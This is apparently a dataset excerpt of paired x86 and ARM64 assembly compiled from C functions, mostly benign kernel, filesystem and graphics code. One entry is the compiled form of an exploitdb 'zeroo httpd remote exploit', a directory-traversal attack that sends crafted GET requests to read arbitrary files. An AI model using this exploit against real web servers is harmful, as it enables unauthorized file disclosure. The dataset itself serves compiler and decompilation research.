x86
stringlengths
122
9.39M
arm
stringlengths
122
9.33M
file
stringlengths
19
200
source
stringclasses
2 values
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .subsections_via_symbols
the_stack_data/36107.c
stack
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function ReadISACfifo _ReadISACfifo: ## @ReadISACfifo .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %edx, %ecx movq %rsi, %rdx movl (%rdi), %esi movl 4(%rdi), %edi popq %rbp jmp _read_fifo ## TAILCALL .cfi_endproc ## -- End function .no_dead_strip _ReadISACfifo .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function ReadISACfifo _ReadISACfifo: ; @ReadISACfifo .cfi_startproc ; %bb.0: mov x3, x2 mov x2, x1 ldp w1, w8, [x0] mov x0, x8 b _read_fifo .cfi_endproc ; -- End function .no_dead_strip _ReadISACfifo .subsections_via_symbols
AnghaBench/fastsocket/kernel/drivers/isdn/hisax/extr_s0box.c_ReadISACfifo.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $1064, %rsp ## imm = 0x428 .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rsi, %rbx movl %edi, %r14d movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) leaq L_str(%rip), %rdi callq _puts leaq L_str.14(%rip), %rdi callq _puts leaq L_str.15(%rip), %rdi callq _puts cmpl $5, %r14d jne LBB0_1 ## %bb.2: movq 8(%rbx), %r12 movq 16(%rbx), %rdi callq _atoi movq %rax, %r15 movq 24(%rbx), %r13 movq 32(%rbx), %rdi callq _atoi movq %rax, %rbx movq %r12, %rdi callq _gethostbyname testq %rax, %rax je LBB0_3 ## %bb.4: movq %rax, %r14 movq %r13, -1080(%rbp) ## 8-byte Spill movq _AF_INET@GOTPCREL(%rip), %rax movl (%rax), %edi movq _SOCK_STREAM@GOTPCREL(%rip), %rax movl (%rax), %esi xorl %edx, %edx callq _socket cmpl $-1, %eax je LBB0_5 ## %bb.6: movl %eax, %r13d movq _AF_INET@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -1088(%rbp) movswl %r15w, %edi callq _htons movl %eax, -1092(%rbp) movl (%r14), %edx movl 4(%r14), %esi leaq -1096(%rbp), %r14 movq %r14, %rdi callq _memcpy leaq L_str.16(%rip), %rdi callq _puts movl %r13d, %edi movq %r14, %rsi movl $12, %edx callq _connect cmpl $-1, %eax je LBB0_7 ## %bb.9: leaq L_str.17(%rip), %rdi callq _puts movq -1080(%rbp), %rdi ## 8-byte Reload callq _strlen ## kill: def $eax killed $eax def $rax addl %ebx, %eax addl $8, %eax cmpl $1025, %eax ## imm = 0x401 jl LBB0_11 ## %bb.10: leaq L_str.20(%rip), %rdi callq _puts jmp LBB0_15 LBB0_1: movq (%rbx), %rsi leaq L_.str.3(%rip), %rdi LBB0_8: xorl %eax, %eax callq _printf jmp LBB0_15 LBB0_3: leaq L_str.22(%rip), %rdi callq _puts jmp LBB0_15 LBB0_5: leaq L_str.21(%rip), %rdi callq _puts jmp LBB0_15 LBB0_7: leaq L_.str.7(%rip), %rdi movq %r12, %rsi jmp LBB0_8 LBB0_11: movw $47, -1068(%rbp) movl $542393671, -1072(%rbp) ## imm = 0x20544547 testl %ebx, %ebx jle LBB0_14 ## %bb.12: movq _FOO@GOTPCREL(%rip), %r15 leaq -1072(%rbp), %r14 .p2align 4, 0x90 LBB0_13: ## =>This Inner Loop Header: Depth=1 movq (%r15), %rsi movq %r14, %rdi callq _strcat decl %ebx jne LBB0_13 LBB0_14: leaq L_str.18(%rip), %rdi callq _puts leaq -1072(%rbp), %rbx movq %rbx, %rdi movq -1080(%rbp), %rsi ## 8-byte Reload callq _strcat leaq L_.str.12(%rip), %rsi movq %rbx, %rdi callq _strcat leaq L_str.19(%rip), %rdi callq _puts movq %rbx, %rdi callq _strlen movl %r13d, %edi movq %rbx, %rsi movl %eax, %edx callq _write movl %r13d, %edi callq _get movl %r13d, %edi callq _close LBB0_15: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_17 ## %bb.16: xorl %eax, %eax addq $1064, %rsp ## imm = 0x428 popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_17: callq ___stack_chk_fail .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str.3: ## @.str.3 .asciz "%s host port file traverse_amount (>= 1 [keep incrementing till hit])\n" .comm _AF_INET,4,2 ## @AF_INET .comm _SOCK_STREAM,4,2 ## @SOCK_STREAM L_.str.7: ## @.str.7 .asciz "Failed to connect to %s.\n" L_.str.10: ## @.str.10 .asciz "GET /" .comm _FOO,8,3 ## @FOO L_.str.12: ## @.str.12 .asciz "\n\n" L_str: ## @str .asciz "UC-zeroo" L_str.14: ## @str.14 .asciz "zeroo httpd remote exploit" L_str.15: ## @str.15 .asciz "[mikecc/unixclan] [http://uc.zemos.net/]\n" L_str.16: ## @str.16 .asciz "Connecting..." L_str.17: ## @str.17 .asciz "Setting up exploit string.." L_str.18: ## @str.18 .asciz "\tInserting file string.." L_str.19: ## @str.19 .asciz "Sending exploit string..." L_str.20: ## @str.20 .asciz "Error. Limit 1024 characters." L_str.21: ## @str.21 .asciz "sock() failed." L_str.22: ## @str.22 .asciz "Host lookup error." .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill .cfi_def_cfa_offset 80 stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 sub sp, sp, #1056 mov x19, x1 mov x20, x0 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] stur x8, [x29, #-72] Lloh3: adrp x0, l_str@PAGE Lloh4: add x0, x0, l_str@PAGEOFF bl _puts Lloh5: adrp x0, l_str.14@PAGE Lloh6: add x0, x0, l_str.14@PAGEOFF bl _puts Lloh7: adrp x0, l_str.15@PAGE Lloh8: add x0, x0, l_str.15@PAGEOFF bl _puts cmp w20, #5 b.ne LBB0_6 ; %bb.1: ldp x22, x0, [x19, #8] bl _atoi mov x23, x0 ldp x20, x0, [x19, #24] bl _atoi mov x21, x0 mov x0, x22 bl _gethostbyname cbz x0, LBB0_7 ; %bb.2: mov x24, x0 Lloh9: adrp x25, _AF_INET@GOTPAGE Lloh10: ldr x25, [x25, _AF_INET@GOTPAGEOFF] ldr w0, [x25] Lloh11: adrp x8, _SOCK_STREAM@GOTPAGE Lloh12: ldr x8, [x8, _SOCK_STREAM@GOTPAGEOFF] Lloh13: ldr w1, [x8] mov w2, #0 bl _socket cmn w0, #1 b.eq LBB0_8 ; %bb.3: mov x19, x0 ldr w8, [x25] str w8, [sp, #16] sxth w0, w23 bl _htons str w0, [sp, #12] ldp w2, w1, [x24] add x0, sp, #8 bl _memcpy Lloh14: adrp x0, l_str.16@PAGE Lloh15: add x0, x0, l_str.16@PAGEOFF bl _puts add x1, sp, #8 mov x0, x19 mov w2, #12 bl _connect cmn w0, #1 b.eq LBB0_9 ; %bb.4: Lloh16: adrp x0, l_str.17@PAGE Lloh17: add x0, x0, l_str.17@PAGEOFF bl _puts mov x0, x20 bl _strlen add w8, w21, w0 add w8, w8, #8 cmp w8, #1025 b.lt LBB0_10 ; %bb.5: Lloh18: adrp x0, l_str.20@PAGE Lloh19: add x0, x0, l_str.20@PAGEOFF bl _puts b LBB0_14 LBB0_6: ldr x8, [x19] str x8, [sp] Lloh20: adrp x0, l_.str.3@PAGE Lloh21: add x0, x0, l_.str.3@PAGEOFF bl _printf b LBB0_14 LBB0_7: Lloh22: adrp x0, l_str.22@PAGE Lloh23: add x0, x0, l_str.22@PAGEOFF bl _puts b LBB0_14 LBB0_8: Lloh24: adrp x0, l_str.21@PAGE Lloh25: add x0, x0, l_str.21@PAGEOFF bl _puts b LBB0_14 LBB0_9: str x22, [sp] Lloh26: adrp x0, l_.str.7@PAGE Lloh27: add x0, x0, l_.str.7@PAGEOFF bl _printf b LBB0_14 LBB0_10: mov w8, #47 strh w8, [sp, #28] mov w8, #17735 movk w8, #8276, lsl #16 str w8, [sp, #24] cmp w21, #1 b.lt LBB0_13 ; %bb.11: Lloh28: adrp x22, _FOO@GOTPAGE Lloh29: ldr x22, [x22, _FOO@GOTPAGEOFF] LBB0_12: ; =>This Inner Loop Header: Depth=1 ldr x1, [x22] add x0, sp, #24 bl _strcat subs w21, w21, #1 b.ne LBB0_12 LBB0_13: Lloh30: adrp x0, l_str.18@PAGE Lloh31: add x0, x0, l_str.18@PAGEOFF bl _puts add x0, sp, #24 mov x1, x20 bl _strcat Lloh32: adrp x1, l_.str.12@PAGE Lloh33: add x1, x1, l_.str.12@PAGEOFF add x0, sp, #24 bl _strcat Lloh34: adrp x0, l_str.19@PAGE Lloh35: add x0, x0, l_str.19@PAGEOFF bl _puts add x0, sp, #24 bl _strlen mov x2, x0 add x1, sp, #24 mov x0, x19 bl _write mov x0, x19 bl _get mov x0, x19 bl _close LBB0_14: ldur x8, [x29, #-72] Lloh36: adrp x9, ___stack_chk_guard@GOTPAGE Lloh37: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh38: ldr x9, [x9] cmp x9, x8 b.ne LBB0_16 ; %bb.15: mov w0, #0 add sp, sp, #1056 ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload ldp x26, x25, [sp], #80 ; 16-byte Folded Reload ret LBB0_16: bl ___stack_chk_fail .loh AdrpAdd Lloh7, Lloh8 .loh AdrpAdd Lloh5, Lloh6 .loh AdrpAdd Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13 .loh AdrpLdrGot Lloh9, Lloh10 .loh AdrpAdd Lloh14, Lloh15 .loh AdrpAdd Lloh16, Lloh17 .loh AdrpAdd Lloh18, Lloh19 .loh AdrpAdd Lloh20, Lloh21 .loh AdrpAdd Lloh22, Lloh23 .loh AdrpAdd Lloh24, Lloh25 .loh AdrpAdd Lloh26, Lloh27 .loh AdrpLdrGot Lloh28, Lloh29 .loh AdrpAdd Lloh34, Lloh35 .loh AdrpAdd Lloh32, Lloh33 .loh AdrpAdd Lloh30, Lloh31 .loh AdrpLdrGotLdr Lloh36, Lloh37, Lloh38 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str.3: ; @.str.3 .asciz "%s host port file traverse_amount (>= 1 [keep incrementing till hit])\n" .comm _AF_INET,4,2 ; @AF_INET .comm _SOCK_STREAM,4,2 ; @SOCK_STREAM l_.str.7: ; @.str.7 .asciz "Failed to connect to %s.\n" l_.str.10: ; @.str.10 .asciz "GET /" .comm _FOO,8,3 ; @FOO l_.str.12: ; @.str.12 .asciz "\n\n" l_str: ; @str .asciz "UC-zeroo" l_str.14: ; @str.14 .asciz "zeroo httpd remote exploit" l_str.15: ; @str.15 .asciz "[mikecc/unixclan] [http://uc.zemos.net/]\n" l_str.16: ; @str.16 .asciz "Connecting..." l_str.17: ; @str.17 .asciz "Setting up exploit string.." l_str.18: ; @str.18 .asciz "\tInserting file string.." l_str.19: ; @str.19 .asciz "Sending exploit string..." l_str.20: ; @str.20 .asciz "Error. Limit 1024 characters." l_str.21: ; @str.21 .asciz "sock() failed." l_str.22: ; @str.22 .asciz "Host lookup error." .subsections_via_symbols
AnghaBench/exploitdb/exploits/linux/remote/extr_22063.c_main.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function flatten_moveto _flatten_moveto: ## @flatten_moveto .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx subq $32, %rsp .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movaps %xmm1, %xmm4 movaps %xmm0, %xmm5 movq %rsi, %rbx movq %rdi, %r14 movss 12(%rsi), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss 4(%rsi), %xmm2 ## xmm2 = mem[0],zero,zero,zero movss 8(%rsi), %xmm3 ## xmm3 = mem[0],zero,zero,zero ucomiss %xmm2, %xmm0 movss 16(%rsi), %xmm1 ## xmm1 = mem[0],zero,zero,zero jne LBB0_2 jp LBB0_2 ## %bb.1: ucomiss %xmm3, %xmm1 jne LBB0_2 jnp LBB0_3 LBB0_2: movl (%rbx), %esi movl 20(%rbx), %edx movq %r14, %rdi movaps %xmm4, -48(%rbp) ## 16-byte Spill movaps %xmm5, -32(%rbp) ## 16-byte Spill callq _line movaps -32(%rbp), %xmm5 ## 16-byte Reload movaps -48(%rbp), %xmm4 ## 16-byte Reload LBB0_3: insertps $16, %xmm4, %xmm5 ## xmm5 = xmm5[0],xmm4[0],xmm5[2,3] movddup %xmm5, %xmm0 ## xmm0 = xmm5[0,0] movupd %xmm0, 4(%rbx) movl (%rbx), %esi movq %r14, %rdi addq $32, %rsp popq %rbx popq %r14 popq %rbp jmp _fz_gap_rasterizer ## TAILCALL .cfi_endproc ## -- End function .no_dead_strip _flatten_moveto .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function flatten_moveto _flatten_moveto: ; @flatten_moveto .cfi_startproc ; %bb.0: stp d9, d8, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset b8, -40 .cfi_offset b9, -48 fmov s8, s1 fmov s9, s0 mov x20, x1 mov x19, x0 ldp s0, s1, [x1, #12] ldp s2, s3, [x1, #4] fcmp s0, s2 fccmp s1, s3, #0, eq b.eq LBB0_2 ; %bb.1: ldr w1, [x20] ldr w2, [x20, #20] mov x0, x19 bl _line LBB0_2: stp s9, s8, [x20, #4] stp s9, s8, [x20, #12] ldr w1, [x20] mov x0, x19 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp d9, d8, [sp], #48 ; 16-byte Folded Reload b _fz_gap_rasterizer .cfi_endproc ; -- End function .no_dead_strip _flatten_moveto .subsections_via_symbols
AnghaBench/sumatrapdf/mupdf/source/fitz/extr_draw-path.c_flatten_moveto.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _metaslab_class_expandable_space ## -- Begin function metaslab_class_expandable_space .p2align 4, 0x90 _metaslab_class_expandable_space: ## @metaslab_class_expandable_space .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %r15 movq (%rdi), %rdi movq 8(%rdi), %r12 movq _SCL_VDEV@GOTPCREL(%rip), %rax movl (%rax), %esi movq _FTAG@GOTPCREL(%rip), %rax movl (%rax), %edx movq _RW_READER@GOTPCREL(%rip), %rax movl (%rax), %ecx callq _spa_config_enter cmpl $0, (%r12) jle LBB0_1 ## %bb.3: xorl %r13d, %r13d xorl %eax, %eax movq %rax, -48(%rbp) ## 8-byte Spill jmp LBB0_4 .p2align 4, 0x90 LBB0_8: ## in Loop: Header=BB0_4 Depth=1 incq %r13 movslq (%r12), %rax cmpq %rax, %r13 jge LBB0_2 LBB0_4: ## =>This Inner Loop Header: Depth=1 movq 40(%r12), %rax movq (%rax,%r13,8), %rbx movq 32(%rbx), %r14 movq %rbx, %rdi callq _vdev_is_concrete testl %eax, %eax je LBB0_8 ## %bb.5: ## in Loop: Header=BB0_4 Depth=1 movq 8(%rbx), %rcx testq %rcx, %rcx je LBB0_8 ## %bb.6: ## in Loop: Header=BB0_4 Depth=1 cmpq %r15, (%r14) jne LBB0_8 ## %bb.7: ## in Loop: Header=BB0_4 Depth=1 movq 16(%rbx), %rdi subq 24(%rbx), %rdi movq (%r15), %rax movq (%rax), %rax cmpq %rax, %rdi movl $0, %edx cmovleq %rdx, %rax subq %rax, %rdi movl $1, %esi ## kill: def $cl killed $cl killed $rcx shlq %cl, %rsi callq _P2ALIGN addq %rax, -48(%rbp) ## 8-byte Folded Spill jmp LBB0_8 LBB0_1: xorl %eax, %eax movq %rax, -48(%rbp) ## 8-byte Spill LBB0_2: movq (%r15), %rdi movq _SCL_VDEV@GOTPCREL(%rip), %rax movl (%rax), %esi movq _FTAG@GOTPCREL(%rip), %rax movl (%rax), %edx callq _spa_config_exit movq -48(%rbp), %rax ## 8-byte Reload addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _SCL_VDEV,4,2 ## @SCL_VDEV .comm _FTAG,4,2 ## @FTAG .comm _RW_READER,4,2 ## @RW_READER .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _metaslab_class_expandable_space ; -- Begin function metaslab_class_expandable_space .p2align 2 _metaslab_class_expandable_space: ; @metaslab_class_expandable_space .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill .cfi_def_cfa_offset 96 stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x19, x0 ldr x0, [x0] ldr x24, [x0, #8] Lloh0: adrp x22, _SCL_VDEV@GOTPAGE Lloh1: ldr x22, [x22, _SCL_VDEV@GOTPAGEOFF] ldr w1, [x22] Lloh2: adrp x23, _FTAG@GOTPAGE Lloh3: ldr x23, [x23, _FTAG@GOTPAGEOFF] ldr w2, [x23] Lloh4: adrp x8, _RW_READER@GOTPAGE Lloh5: ldr x8, [x8, _RW_READER@GOTPAGEOFF] Lloh6: ldr w3, [x8] bl _spa_config_enter ldr w8, [x24] cmp w8, #1 b.lt LBB0_7 ; %bb.1: mov x25, #0 mov x20, #0 mov w26, #1 b LBB0_3 LBB0_2: ; in Loop: Header=BB0_3 Depth=1 add x25, x25, #1 ldrsw x8, [x24] cmp x25, x8 b.ge LBB0_8 LBB0_3: ; =>This Inner Loop Header: Depth=1 ldr x8, [x24, #40] ldr x21, [x8, x25, lsl #3] ldr x27, [x21, #32] mov x0, x21 bl _vdev_is_concrete cbz w0, LBB0_2 ; %bb.4: ; in Loop: Header=BB0_3 Depth=1 ldr x8, [x21, #8] cbz x8, LBB0_2 ; %bb.5: ; in Loop: Header=BB0_3 Depth=1 ldr x9, [x27] cmp x9, x19 b.ne LBB0_2 ; %bb.6: ; in Loop: Header=BB0_3 Depth=1 ldp x9, x10, [x21, #16] ldr x11, [x19] ldr x11, [x11] sub x9, x9, x10 cmp x9, x11 csel x10, x11, xzr, gt sub x0, x9, x10 lsl x1, x26, x8 bl _P2ALIGN add x20, x0, x20 b LBB0_2 LBB0_7: mov x20, #0 LBB0_8: ldr x0, [x19] ldr w1, [x22] ldr w2, [x23] bl _spa_config_exit mov x0, x20 ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh4, Lloh5, Lloh6 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _SCL_VDEV,4,2 ; @SCL_VDEV .comm _FTAG,4,2 ; @FTAG .comm _RW_READER,4,2 ; @RW_READER .subsections_via_symbols
AnghaBench/freebsd/sys/cddl/contrib/opensolaris/uts/common/fs/zfs/extr_metaslab.c_metaslab_class_expandable_space.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ieee80211_ps_tx_ack ## -- Begin function ieee80211_ps_tx_ack .p2align 4, 0x90 _ieee80211_ps_tx_ack: ## @ieee80211_ps_tx_ack .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %esi, %r15d movq %rdi, %rbx leaq 4(%rdi), %r14 movq %r14, %rdi callq _spin_lock_irqsave movl (%rbx), %eax cmpl $2, %eax jne LBB0_3 ## %bb.1: testw %r15w, %r15w je LBB0_6 ## %bb.2: movl $1, (%rbx) movl 20(%rbx), %edi movl 12(%rbx), %edx movl 16(%rbx), %esi callq *24(%rbx) jmp LBB0_6 LBB0_3: testw %r15w, %r15w jne LBB0_6 ## %bb.4: testl %eax, %eax jne LBB0_6 ## %bb.5: leaq 8(%rbx), %r15 movq %r15, %rdi callq _spin_lock_irqsave movq %rbx, %rdi xorl %esi, %esi callq _ieee80211_sta_ps_send_null_frame movq %r15, %rdi callq _spin_unlock_irqrestore LBB0_6: movq %r14, %rdi addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp jmp _spin_unlock_irqrestore ## TAILCALL .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ieee80211_ps_tx_ack ; -- Begin function ieee80211_ps_tx_ack .p2align 2 _ieee80211_ps_tx_ack: ; @ieee80211_ps_tx_ack .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x21, x1 mov x20, x0 add x19, x0, #4 mov x0, x19 bl _spin_lock_irqsave ldr w8, [x20] cmp w8, #2 b.ne LBB0_3 ; %bb.1: cbz w21, LBB0_6 ; %bb.2: mov w8, #1 str w8, [x20] ldr x8, [x20, #24] ldp w1, w0, [x20, #16] ldr w2, [x20, #12] blr x8 b LBB0_6 LBB0_3: cbnz w21, LBB0_6 ; %bb.4: cbnz w8, LBB0_6 ; %bb.5: add x21, x20, #8 mov x0, x21 bl _spin_lock_irqsave mov x0, x20 mov w1, #0 bl _ieee80211_sta_ps_send_null_frame mov x0, x21 bl _spin_unlock_irqrestore LBB0_6: mov x0, x19 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload b _spin_unlock_irqrestore .cfi_endproc ; -- End function .subsections_via_symbols
AnghaBench/fastsocket/kernel/drivers/staging/rtl8192su/ieee80211/extr_ieee80211_softmac.c_ieee80211_ps_tx_ack.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _mlx5_core_res_hold ## -- Begin function mlx5_core_res_hold .p2align 4, 0x90 _mlx5_core_res_hold: ## @mlx5_core_res_hold .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq _MLX5_USER_INDEX_LEN@GOTPCREL(%rip), %rax movb (%rax), %cl shll %cl, %edx orl %edx, %esi popq %rbp jmp _mlx5_get_rsc ## TAILCALL .cfi_endproc ## -- End function .comm _MLX5_USER_INDEX_LEN,4,2 ## @MLX5_USER_INDEX_LEN .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _mlx5_core_res_hold ; -- Begin function mlx5_core_res_hold .p2align 2 _mlx5_core_res_hold: ; @mlx5_core_res_hold .cfi_startproc ; %bb.0: Lloh0: adrp x8, _MLX5_USER_INDEX_LEN@GOTPAGE Lloh1: ldr x8, [x8, _MLX5_USER_INDEX_LEN@GOTPAGEOFF] Lloh2: ldr w8, [x8] lsl w8, w2, w8 orr w1, w8, w1 b _mlx5_get_rsc .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _MLX5_USER_INDEX_LEN,4,2 ; @MLX5_USER_INDEX_LEN .subsections_via_symbols
AnghaBench/linux/drivers/net/ethernet/mellanox/mlx5/core/extr_qp.c_mlx5_core_res_hold.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _sort ## -- Begin function sort .p2align 4, 0x90 _sort: ## @sort .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 ## kill: def $edx killed $edx def $rdx ## kill: def $esi killed $esi def $rsi movq %rdi, %r13 leaq 1(%rdi), %r15 movq %rdx, -48(%rbp) ## 8-byte Spill jmp LBB0_1 .p2align 4, 0x90 LBB0_12: ## in Loop: Header=BB0_1 Depth=1 movl %r14d, %esi movq -48(%rbp), %rdx ## 8-byte Reload cmpl %edx, %r14d jge LBB0_13 LBB0_1: ## =>This Loop Header: Depth=1 ## Child Loop BB0_3 Depth 2 ## Child Loop BB0_4 Depth 3 ## Child Loop BB0_6 Depth 3 movl %edx, %r12d movl %esi, %r14d cmpl %edx, %esi jle LBB0_2 LBB0_10: ## in Loop: Header=BB0_1 Depth=1 movq %r13, %rdi movq %rsi, %rbx callq _putstring movq _eol@GOTPCREL(%rip), %rdi callq _putstring cmpl %ebx, %r12d jle LBB0_12 ## %bb.11: ## in Loop: Header=BB0_1 Depth=1 movq %r13, %rdi movl %ebx, %esi movl %r12d, %edx callq _sort jmp LBB0_12 .p2align 4, 0x90 LBB0_2: ## in Loop: Header=BB0_1 Depth=1 leal (%rsi,%rdx), %eax movl %eax, %ecx shrl $31, %ecx addl %eax, %ecx sarl %ecx movslq %ecx, %rax movb (%r13,%rax), %r8b movl %esi, %r14d movl %edx, %r10d jmp LBB0_3 .p2align 4, 0x90 LBB0_9: ## in Loop: Header=BB0_3 Depth=2 movl %r12d, %r10d cmpl %r12d, %r14d jg LBB0_10 LBB0_3: ## Parent Loop BB0_1 Depth=1 ## => This Loop Header: Depth=2 ## Child Loop BB0_4 Depth 3 ## Child Loop BB0_6 Depth 3 movslq %r14d, %rbx addq %r13, %rbx movl %r14d, %ecx .p2align 4, 0x90 LBB0_4: ## Parent Loop BB0_1 Depth=1 ## Parent Loop BB0_3 Depth=2 ## => This Inner Loop Header: Depth=3 movzbl (%rbx), %r9d incl %ecx incq %rbx cmpb %r8b, %r9b jl LBB0_4 ## %bb.5: ## in Loop: Header=BB0_3 